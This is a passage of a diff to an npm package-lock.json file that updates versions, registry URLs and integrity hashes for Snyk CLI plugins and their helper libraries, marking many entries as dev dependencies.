- "needle": "^2.5.0",
- "tmp": "^0.1.0",
- "tslib": "1.11.1"
+ "docker-modem": "2.1.3",
+ "dockerfile-ast": "0.2.0",
+ "elfy": "^1.0.0",
+ "event-loop-spinner": "^2.0.0",
+ "gunzip-maybe": "^1.4.2",
+ "mkdirp": "^1.0.4",
+ "semver": "^7.3.4",
+ "snyk-nodejs-lockfile-parser": "1.30.2",
+ "tar-stream": "^2.1.0",
+ "tmp": "^0.2.1",
+ "tslib": "^1",
+ "uuid": "^8.2.0"
},
"dependencies": {
"debug": {
- "version": "4.1.1",
- "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz",
- "integrity": "sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==",
+ "version": "4.3.1",
+ "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz",
+ "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==",
+ "dev": true,
"requires": {
- "ms": "^2.1.1"
+ "ms": "2.1.2"
+ }
+ },
+ "lru-cache": {
+ "version": "6.0.0",
+ "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz",
+ "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==",
+ "dev": true,
+ "requires": {
+ "yallist": "^4.0.0"
+ }
+ },
+ "mkdirp": {
+ "version": "1.0.4",
+ "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-1.0.4.tgz",
+ "integrity": "sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw==",
+ "dev": true
+ },
+ "ms": {
+ "version": "2.1.2",
+ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
+ "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==",
+ "dev": true
+ },
+ "rimraf": {
+ "version": "3.0.2",
+ "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz",
+ "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==",
+ "dev": true,
+ "requires": {
+ "glob": "^7.1.3"
+ }
+ },
+ "semver": {
+ "version": "7.3.5",
+ "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.5.tgz",
+ "integrity": "sha512-PoeGJYh8HK4BTO/a9Tf6ZG3veo/A7ZVsYrSA6J8ny9nb3B1VrpkuN+z9OE5wfE5p6H4LchYZsegiQgbJD94ZFQ==",
+ "dev": true,
+ "requires": {
+ "lru-cache": "^6.0.0"
+ }
+ },
+ "snyk-nodejs-lockfile-parser": {
+ "version": "1.30.2",
+ "resolved": "https://registry.npmjs.org/snyk-nodejs-lockfile-parser/-/snyk-nodejs-lockfile-parser-1.30.2.tgz",
+ "integrity": "sha512-wI3VXVYO/ok0uaQm5i+Koo4rKBNilYC/QRIQFlyGbZXf+WBdRcTBKVDfTy8uNfUhMRSGzd84lNclMnetU9Y+vw==",
+ "dev": true,
+ "requires": {
+ "@snyk/graphlib": "2.1.9-patch.3",
+ "@yarnpkg/lockfile": "^1.1.0",
+ "event-loop-spinner": "^2.0.0",
+ "got": "11.4.0",
+ "lodash.clonedeep": "^4.5.0",
+ "lodash.flatmap": "^4.5.0",
+ "lodash.isempty": "^4.4.0",
+ "lodash.set": "^4.3.2",
+ "lodash.topairs": "^4.3.0",
+ "p-map": "2.1.0",
+ "snyk-config": "^4.0.0-rc.2",
+ "tslib": "^1.9.3",
+ "uuid": "^8.3.0",
+ "yaml": "^1.9.2"
+ }
+ },
+ "tmp": {
+ "version": "0.2.1",
+ "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.2.1.tgz",
+ "integrity": "sha512-76SUhtfqR2Ijn+xllcI5P1oyannHNHByD80W1q447gU3mp9G9PSpGdWmjUOHRDPiHYacIk66W7ubDTuPF3BEtQ==",
+ "dev": true,
+ "requires": {
+ "rimraf": "^3.0.0"
+ }
+ },
+ "uuid": {
+ "version": "8.3.2",
+ "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz",
+ "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==",
+ "dev": true
+ },
+ "yallist": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz",
+ "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==",
+ "dev": true
+ }
+ }
+ },
+ "snyk-go-parser": {
+ "version": "1.4.1",
+ "resolved": "https://registry.npmjs.org/snyk-go-parser/-/snyk-go-parser-1.4.1.tgz",
+ "integrity": "sha512-StU3uHB85VMEkcgXta63M0Fgd+9cs5sMCjQXTBoYTdE4dxarPn7U67yCuwkRRdZdny1ZXtzfY8LKns9i0+dy9w==",
+ "dev": true,
+ "requires": {
+ "toml": "^3.0.0",
+ "tslib": "^1.10.0"
+ }
+ },
+ "snyk-go-plugin": {
+ "version": "1.17.0",
+ "resolved": "https://registry.npmjs.org/snyk-go-plugin/-/snyk-go-plugin-1.17.0.tgz",
+ "integrity": "sha512-1jAYPRgMapO2BYL+HWsUq5gsAiDGmI0Pn7omc0lk24tcUOMhUB+1hb0u9WBMNzHvXBjevBkjOctjpnt2hMKN6Q==",
+ "dev": true,
+ "requires": {
+ "@snyk/dep-graph": "^1.23.1",
+ "@snyk/graphlib": "2.1.9-patch.3",
+ "debug": "^4.1.1",
+ "snyk-go-parser": "1.4.1",
+ "tmp": "0.2.1",
+ "tslib": "^1.10.0"
+ },
+ "dependencies": {
+ "debug": {
+ "version": "4.3.1",
+ "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz",
+ "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==",
+ "dev": true,
+ "requires": {
+ "ms": "2.1.2"
}
},
"ms": {
"version": "2.1.2",
"resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
- "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w=="
+ "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==",
+ "dev": true
+ },
+ "rimraf": {
+ "version": "3.0.2",
+ "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz",
+ "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==",
+ "dev": true,
+ "requires": {
+ "glob": "^7.1.3"
+ }
+ },
+ "tmp": {
+ "version": "0.2.1",
+ "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.2.1.tgz",
+ "integrity": "sha512-76SUhtfqR2Ijn+xllcI5P1oyannHNHByD80W1q447gU3mp9G9PSpGdWmjUOHRDPiHYacIk66W7ubDTuPF3BEtQ==",
+ "dev": true,
+ "requires": {
+ "rimraf": "^3.0.0"
+ }
+ }
+ }
+ },
+ "snyk-gradle-plugin": {
+ "version": "3.14.0",
+ "resolved": "https://registry.npmjs.org/snyk-gradle-plugin/-/snyk-gradle-plugin-3.14.0.tgz",
+ "integrity": "sha512-2A8ifM91TyzSx/U2fYvHXbaCRVsEx60hGFQjbSH9Hl9AokxEzMi2qti7wsObs1jUX2m198D1mdXu4k/Y1jWxXg==",
+ "dev": true,
+ "requires": {
+ "@snyk/cli-interface": "2.11.0",
+ "@snyk/dep-graph": "^1.28.0",
+ "@snyk/java-call-graph-builder": "1.20.0",
+ "@types/debug": "^4.1.4",
+ "chalk": "^3.0.0",
+ "debug": "^4.1.1",
+ "tmp": "0.2.1",
+ "tslib": "^2.0.0"
+ },
+ "dependencies": {
+ "ansi-styles": {
+ "version": "4.3.0",
+ "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+ "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+ "dev": true,
+ "requires": {
+ "color-convert": "^2.0.1"
+ }
+ },
+ "chalk": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/chalk/-/chalk-3.0.0.tgz",
+ "integrity": "sha512-4D3B6Wf41KOYRFdszmDqMCGq5VV/uMAB273JILmO+3jAlh8X4qDtdtgCR3fxtbLEMzSx22QdhnDcJvu2u1fVwg==",
+ "dev": true,
+ "requires": {
+ "ansi-styles": "^4.1.0",
+ "supports-color": "^7.1.0"
+ }
+ },
+ "color-convert": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+ "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+ "dev": true,
+ "requires": {
+ "color-name": "~1.1.4"
+ }
+ },
+ "color-name": {
+ "version": "1.1.4",
+ "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+ "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==",
+ "dev": true
+ },
+ "debug": {
+ "version": "4.3.1",
+ "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz",
+ "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==",
+ "dev": true,
+ "requires": {
+ "ms": "2.1.2"
+ }
+ },
+ "has-flag": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+ "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
+ "dev": true
+ },
+ "ms": {
+ "version": "2.1.2",
+ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
+ "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==",
+ "dev": true
+ },
+ "rimraf": {
+ "version": "3.0.2",
+ "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz",
+ "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==",
+ "dev": true,
+ "requires": {
+ "glob": "^7.1.3"
+ }
+ },
+ "supports-color": {
+ "version": "7.2.0",
+ "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+ "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+ "dev": true,
+ "requires": {
+ "has-flag": "^4.0.0"
+ }
+ },
+ "tmp": {
+ "version": "0.2.1",
+ "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.2.1.tgz",
+ "integrity": "sha512-76SUhtfqR2Ijn+xllcI5P1oyannHNHByD80W1q447gU3mp9G9PSpGdWmjUOHRDPiHYacIk66W7ubDTuPF3BEtQ==",
+ "dev": true,
+ "requires": {
+ "rimraf": "^3.0.0"
+ }
+ },
+ "tslib": {
+ "version": "2.2.0",
+ "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.2.0.tgz",
+ "integrity": "sha512-gS9GVHRU+RGn5KQM2rllAlR3dU6m7AcpJKdtH8gFvQiC4Otgk98XnmMU+nZenHt/+VhnBPWwgrJsyrdcw6i23w==",
+ "dev": true
+ }
+ }
+ },
+ "snyk-module": {
+ "version": "3.1.0",
+ "resolved": "https://registry.npmjs.org/snyk-module/-/snyk-module-3.1.0.tgz",
+ "integrity": "sha512-HHuOYEAACpUpkFgU8HT57mmxmonaJ4O3YADoSkVhnhkmJ+AowqZyJOau703dYHNrq2DvQ7qYw81H7yyxS1Nfjw==",
+ "dev": true,
+ "requires": {
+ "debug": "^4.1.1",
+ "hosted-git-info": "^3.0.4"
+ },
+ "dependencies": {
+ "debug": {
+ "version": "4.3.1",
+ "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz",
+ "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==",
+ "dev": true,
+ "requires": {
+ "ms": "2.1.2"
+ }
+ },
+ "hosted-git-info": {
+ "version": "3.0.8",
+ "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-3.0.8.tgz",
+ "integrity": "sha512-aXpmwoOhRBrw6X3j0h5RloK4x1OzsxMPyxqIHyNfSe2pypkVTZFpEiRoSipPEPlMrh0HW/XsjkJ5WgnCirpNUw==",
+ "dev": true,
+ "requires": {
+ "lru-cache": "^6.0.0"
+ }
+ },
+ "lru-cache": {
+ "version": "6.0.0",
+ "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz",
+ "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==",
+ "dev": true,
+ "requires": {
+ "yallist": "^4.0.0"
+ }
+ },
+ "ms": {
+ "version": "2.1.2",
+ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
+ "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==",
+ "dev": true
+ },
+ "yallist": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz",
+ "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==",
+ "dev": true
+ }
+ }
+ },
+ "snyk-mvn-plugin": {
+ "version": "2.25.3",
+ "resolved": "https://registry.npmjs.org/snyk-mvn-plugin/-/snyk-mvn-plugin-2.25.3.tgz",
+ "integrity": "sha512-JAxOThX51JDbgMMjp3gQDVi07G9VgTYSF06QC7f5LNA0zoXNr743e2rm78RGw5bqE3JRjZxEghiLHPPuvS5DDg==",
+ "dev": true,
+ "requires": {
+ "@snyk/cli-interface": "2.11.0",
+ "@snyk/dep-graph": "^1.23.1",
+ "@snyk/java-call-graph-builder": "1.19.1",
+ "debug": "^4.1.1",
+ "glob": "^7.1.6",
+ "needle": "^2.5.0",
+ "tmp": "^0.1.0",
+ "tslib": "1.11.1"
+ },
+ "dependencies": {
+ "@snyk/java-call-graph-builder": {
+ "version": "1.19.1",
+ "resolved": "https://registry.npmjs.org/@snyk/java-call-graph-builder/-/java-call-graph-builder-1.19.1.tgz",
+ "integrity": "sha512-bxjHef5Qm3pNc+BrFlxMudmSSbOjA395ZqBddc+dvsFHoHeyNbiY56Y1JSGUlTgjRM+PKNPBiCuELTSMaROeZg==",
+ "dev": true,
+ "requires": {
+ "@snyk/graphlib": "2.1.9-patch.3",
+ "ci-info": "^2.0.0",
+ "debug": "^4.1.1",
+ "glob": "^7.1.6",
+ "jszip": "^3.2.2",
+ "needle": "^2.3.3",
+ "progress": "^2.0.3",
+ "snyk-config": "^4.0.0-rc.2",
+ "source-map-support": "^0.5.7",
+ "temp-dir": "^2.0.0",
+ "tmp": "^0.2.1",
+ "tslib": "^1.9.3",
+ "xml-js": "^1.6.11"
+ },
+ "dependencies": {
+ "tmp": {
+ "version": "0.2.1",
+ "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.2.1.tgz",
+ "integrity": "sha512-76SUhtfqR2Ijn+xllcI5P1oyannHNHByD80W1q447gU3mp9G9PSpGdWmjUOHRDPiHYacIk66W7ubDTuPF3BEtQ==",
+ "dev": true,
+ "requires": {
+ "rimraf": "^3.0.0"
+ }
+ }
+ }
+ },
+ "debug": {
+ "version": "4.3.1",
+ "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz",
+ "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==",
+ "dev": true,
+ "requires": {
+ "ms": "2.1.2"
+ }
+ },
+ "ms": {
+ "version": "2.1.2",
+ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
+ "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==",
+ "dev": true
+ },
+ "rimraf": {
+ "version": "3.0.2",
+ "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz",
+ "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==",
+ "dev": true,
+ "requires": {
+ "glob": "^7.1.3"
+ }
},
"tmp": {
"version": "0.1.0",
"resolved": "https://registry.npmjs.org/tmp/-/tmp-0.1.0.tgz",
"integrity": "sha512-J7Z2K08jbGcdA1kkQpJSqLF6T0tdQqpR2pnSUXsIchbPdTI9v3e85cLW0d6WDhwuAleOV71j2xWs8qMPfK7nKw==",
+ "dev": true,
"requires": {
"rimraf": "^2.6.3"
+ },
+ "dependencies": {
+ "rimraf": {
+ "version": "2.7.1",
+ "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-2.7.1.tgz",
+ "integrity": "sha512-uWjbaKIK3T1OSVptzX7Nl6PvQ3qAGtKEtVRjRuazjfL3Bx5eI409VZSqgND+4UNnmzLVdPj9FqFJNPqBZFve4w==",
+ "dev": true,
+ "requires": {
+ "glob": "^7.1.3"
+ }
+ }
}
},
"tslib": {
"version": "1.11.1",
"resolved": "https://registry.npmjs.org/tslib/-/tslib-1.11.1.tgz",
- "integrity": "sha512-aZW88SY8kQbU7gpV19lN24LtXh/yD4ZZg6qieAJDDg+YBsJcSmLGK9QpnUjAKVG/xefmvJGd1WUmfpT/g6AJGA=="
+ "integrity": "sha512-aZW88SY8kQbU7gpV19lN24LtXh/yD4ZZg6qieAJDDg+YBsJcSmLGK9QpnUjAKVG/xefmvJGd1WUmfpT/g6AJGA==",
+ "dev": true
}
}
},
"snyk-nodejs-lockfile-parser": {
- "version": "1.26.3",
- "resolved": "https://registry.npmjs.org/snyk-nodejs-lockfile-parser/-/snyk-nodejs-lockfile-parser-1.26.3.tgz",
- "integrity": "sha512-mBQ6vhnXAeyMxlnl9amjJWpA+/3qqXwM8Sj/P+9uH2TByOFLxdGzMNQFcl3q/H2yUdcs/epVdXJp09A2dK2glA==",
+ "version": "1.32.0",
+ "resolved": "https://registry.npmjs.org/snyk-nodejs-lockfile-parser/-/snyk-nodejs-lockfile-parser-1.32.0.tgz",
+ "integrity": "sha512-FdYa/7NibnJPqBfobyw5jgI1/rd0LpMZf2W4WYYLRc2Hz7LZjKAByPjIX6qoA+lB9SC7yk5HYwWj2n4Fbg/DDw==",
+ "dev": true,
"requires": {
- "@snyk/graphlib": "2.1.9-patch",
- "@yarnpkg/core": "^2.0.0-rc.29",
+ "@snyk/graphlib": "2.1.9-patch.3",
+ "@yarnpkg/core": "^2.4.0",
"@yarnpkg/lockfile": "^1.1.0",
"event-loop-spinner": "^2.0.0",
+ "got": "11.4.0",
"lodash.clonedeep": "^4.5.0",
"lodash.flatmap": "^4.5.0",
"lodash.isempty": "^4.4.0",
"lodash.set": "^4.3.2",
"lodash.topairs": "^4.3.0",
"p-map": "2.1.0",
- "snyk-config": "^3.0.0",
- "source-map-support": "^0.5.7",
+ "snyk-config": "^4.0.0-rc.2",
"tslib": "^1.9.3",
- "uuid": "^3.3.2",
+ "uuid": "^8.3.0",
"yaml": "^1.9.2"
+ },
+ "dependencies": {
+ "uuid": {
+ "version": "8.3.2",
+ "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz",
+ "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==",
+ "dev": true
+ }
}
},
"snyk-nuget-plugin": {
- "version": "1.18.1",
- "resolved": "https://registry.npmjs.org/snyk-nuget-plugin/-/snyk-nuget-plugin-1.18.1.tgz",
- "integrity": "sha512-Bq+IzbyewxIrUhgdFaDKS5wCNixERC7QBitKsZGM3uCOr9fJM8rr5qg5SS9UIU7eyeKvzuVO/V1yDzjo1cKvUw==",
+ "version": "1.21.0",
+ "resolved": "https://registry.npmjs.org/snyk-nuget-plugin/-/snyk-nuget-plugin-1.21.0.tgz",
+ "integrity": "sha512-c/JYF3sZzMN/lYz171zrEkVcPqDVcUTVgKIKHiL8nhhuFKxZQ1gzqOgk+lnfN31TLoTNQsZ3DhW/WY+4zEALvw==",
+ "dev": true,
"requires": {
- "@snyk/lodash": "4.17.15-patch",
"debug": "^4.1.1",
- "dotnet-deps-parser": "4.10.0",
- "jszip": "3.3.0",
+ "dotnet-deps-parser": "5.0.0",
+ "jszip": "3.4.0",
"snyk-paket-parser": "1.6.0",
"tslib": "^1.11.2",
"xml2js": "^0.4.17"
},
"dependencies": {
"debug": {
- "version": "4.1.1",
- "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz",
- "integrity": "sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==",
+ "version": "4.3.1",
+ "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz",
+ "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==",
+ "dev": true,
"requires": {
- "ms": "^2.1.1"
+ "ms": "2.1.2"
}
},
"jszip": {
- "version": "3.3.0",
- "resolved": "https://registry.npmjs.org/jszip/-/jszip-3.3.0.tgz",
- "integrity": "sha512-EJ9k766htB1ZWnsV5ZMDkKLgA+201r/ouFF8R2OigVjVdcm2rurcBrrdXaeqBJbqnUVMko512PYmlncBKE1Huw==",
+ "version": "3.4.0",
+ "resolved": "https://registry.npmjs.org/jszip/-/jszip-3.4.0.tgz",
+ "integrity": "sha512-gZAOYuPl4EhPTXT0GjhI3o+ZAz3su6EhLrKUoAivcKqyqC7laS5JEv4XWZND9BgcDcF83vI85yGbDmDR6UhrIg==",
+ "dev": true,
"requires": {
"lie": "~3.3.0",
"pako": "~1.0.2",
@@ -15450,7 +19764,14 @@
"ms": {
"version": "2.1.2",
"resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
- "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w=="
+ "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==",
+ "dev": true
+ },
+ "pako": {
+ "version": "1.0.11",
+ "resolved": "https://registry.npmjs.org/pako/-/pako-1.0.11.tgz",
+ "integrity": "sha512-4hLB8Py4zZce5s4yd9XzopqwVv/yGNhV1Bl8NTmCq1763HeK2+EwVTv+leGeL13Dnh2wfbqowVPXCIO0z4taYw==",
+ "dev": true
}
}
},
@@ -15458,139 +19779,178 @@
"version": "1.6.0",
"resolved": "https://registry.npmjs.org/snyk-paket-parser/-/snyk-paket-parser-1.6.0.tgz",
"integrity": "sha512-6htFynjBe/nakclEHUZ1A3j5Eu32/0pNve5Qm4MFn3YQmJgj7UcAO8hdyK3QfzEY29/kAv/rkJQg+SKshn+N9Q==",
+ "dev": true,
"requires": {
"tslib": "^1.9.3"
}
},
"snyk-php-plugin": {
- "version": "1.9.0",
- "resolved": "https://registry.npmjs.org/snyk-php-plugin/-/snyk-php-plugin-1.9.0.tgz",
- "integrity": "sha512-uORrEoC47dw0ITZYu5vKqQtmXnbbQs+ZkWeo5bRHGdf10W8e4rNr1S1R4bReiLrSbSisYhVHeFMkdOAiLIPJVQ==",
+ "version": "1.9.2",
+ "resolved": "https://registry.npmjs.org/snyk-php-plugin/-/snyk-php-plugin-1.9.2.tgz",
+ "integrity": "sha512-IQcdsQBqqXVRY5DatlI7ASy4flbhtU2V7cr4P2rK9rkFnVHO6LHcitwKXVZa9ocdOmpZDzk7U6iwHJkVFcR6OA==",
+ "dev": true,
"requires": {
- "@snyk/cli-interface": "2.3.2",
- "@snyk/composer-lockfile-parser": "1.4.0",
+ "@snyk/cli-interface": "^2.9.1",
+ "@snyk/composer-lockfile-parser": "^1.4.1",
"tslib": "1.11.1"
},
"dependencies": {
- "@snyk/cli-interface": {
- "version": "2.3.2",
- "resolved": "https://registry.npmjs.org/@snyk/cli-interface/-/cli-interface-2.3.2.tgz",
- "integrity": "sha512-jmZyxVHqzYU1GfdnWCGdd68WY/lAzpPVyqalHazPj4tFJehrSfEFc82RMTYAMgXEJuvFRFIwhsvXh3sWUhIQmg==",
- "requires": {
- "tslib": "^1.9.3"
- }
- },
"tslib": {
"version": "1.11.1",
"resolved": "https://registry.npmjs.org/tslib/-/tslib-1.11.1.tgz",
- "integrity": "sha512-aZW88SY8kQbU7gpV19lN24LtXh/yD4ZZg6qieAJDDg+YBsJcSmLGK9QpnUjAKVG/xefmvJGd1WUmfpT/g6AJGA=="
+ "integrity": "sha512-aZW88SY8kQbU7gpV19lN24LtXh/yD4ZZg6qieAJDDg+YBsJcSmLGK9QpnUjAKVG/xefmvJGd1WUmfpT/g6AJGA==",
+ "dev": true
+ }
+ }
+ },
+ "snyk-poetry-lockfile-parser": {
+ "version": "1.1.6",
+ "resolved": "https://registry.npmjs.org/snyk-poetry-lockfile-parser/-/snyk-poetry-lockfile-parser-1.1.6.tgz",
+ "integrity": "sha512-MoekbWOZPj9umfukjk2bd2o3eRj0OyO+58sxq9crMtHmTlze4h0/Uj4+fb0JFPBOtBO3c2zwbA+dvFQmpKoOTA==",
+ "dev": true,
+ "requires": {
+ "@snyk/cli-interface": "^2.9.2",
+ "@snyk/dep-graph": "^1.23.0",
+ "debug": "^4.2.0",
+ "toml": "^3.0.0",
+ "tslib": "^2.0.0"
+ },
+ "dependencies": {
+ "debug": {
+ "version": "4.3.1",
+ "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz",
+ "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==",
+ "dev": true,
+ "requires": {
+ "ms": "2.1.2"
+ }
+ },
+ "ms": {
+ "version": "2.1.2",
+ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
+ "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==",
+ "dev": true
+ },
+ "tslib": {
+ "version": "2.2.0",
+ "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.2.0.tgz",
+ "integrity": "sha512-gS9GVHRU+RGn5KQM2rllAlR3dU6m7AcpJKdtH8gFvQiC4Otgk98XnmMU+nZenHt/+VhnBPWwgrJsyrdcw6i23w==",
+ "dev": true
}
}
},
"snyk-policy": {
- "version": "1.14.1",
- "resolved": "https://registry.npmjs.org/snyk-policy/-/snyk-policy-1.14.1.tgz",
- "integrity": "sha512-C5vSkoBYxPnaqb218sm4m6N5s1BhIXlldpIX5xRNnZ0QkDwVj3dy/PfgwxRgVQh7QFGa1ajbvKmsGmm4RRsN8g==",
+ "version": "1.19.0",
+ "resolved": "https://registry.npmjs.org/snyk-policy/-/snyk-policy-1.19.0.tgz",
+ "integrity": "sha512-XYjhOTRPFA7NfDUsH6uH1fbML2OgSFsqdUPbud7x01urNP9CHXgUgAD4NhKMi3dVQK+7IdYadWt0wrFWw4y+qg==",
+ "dev": true,
"requires": {
"debug": "^4.1.1",
"email-validator": "^2.0.4",
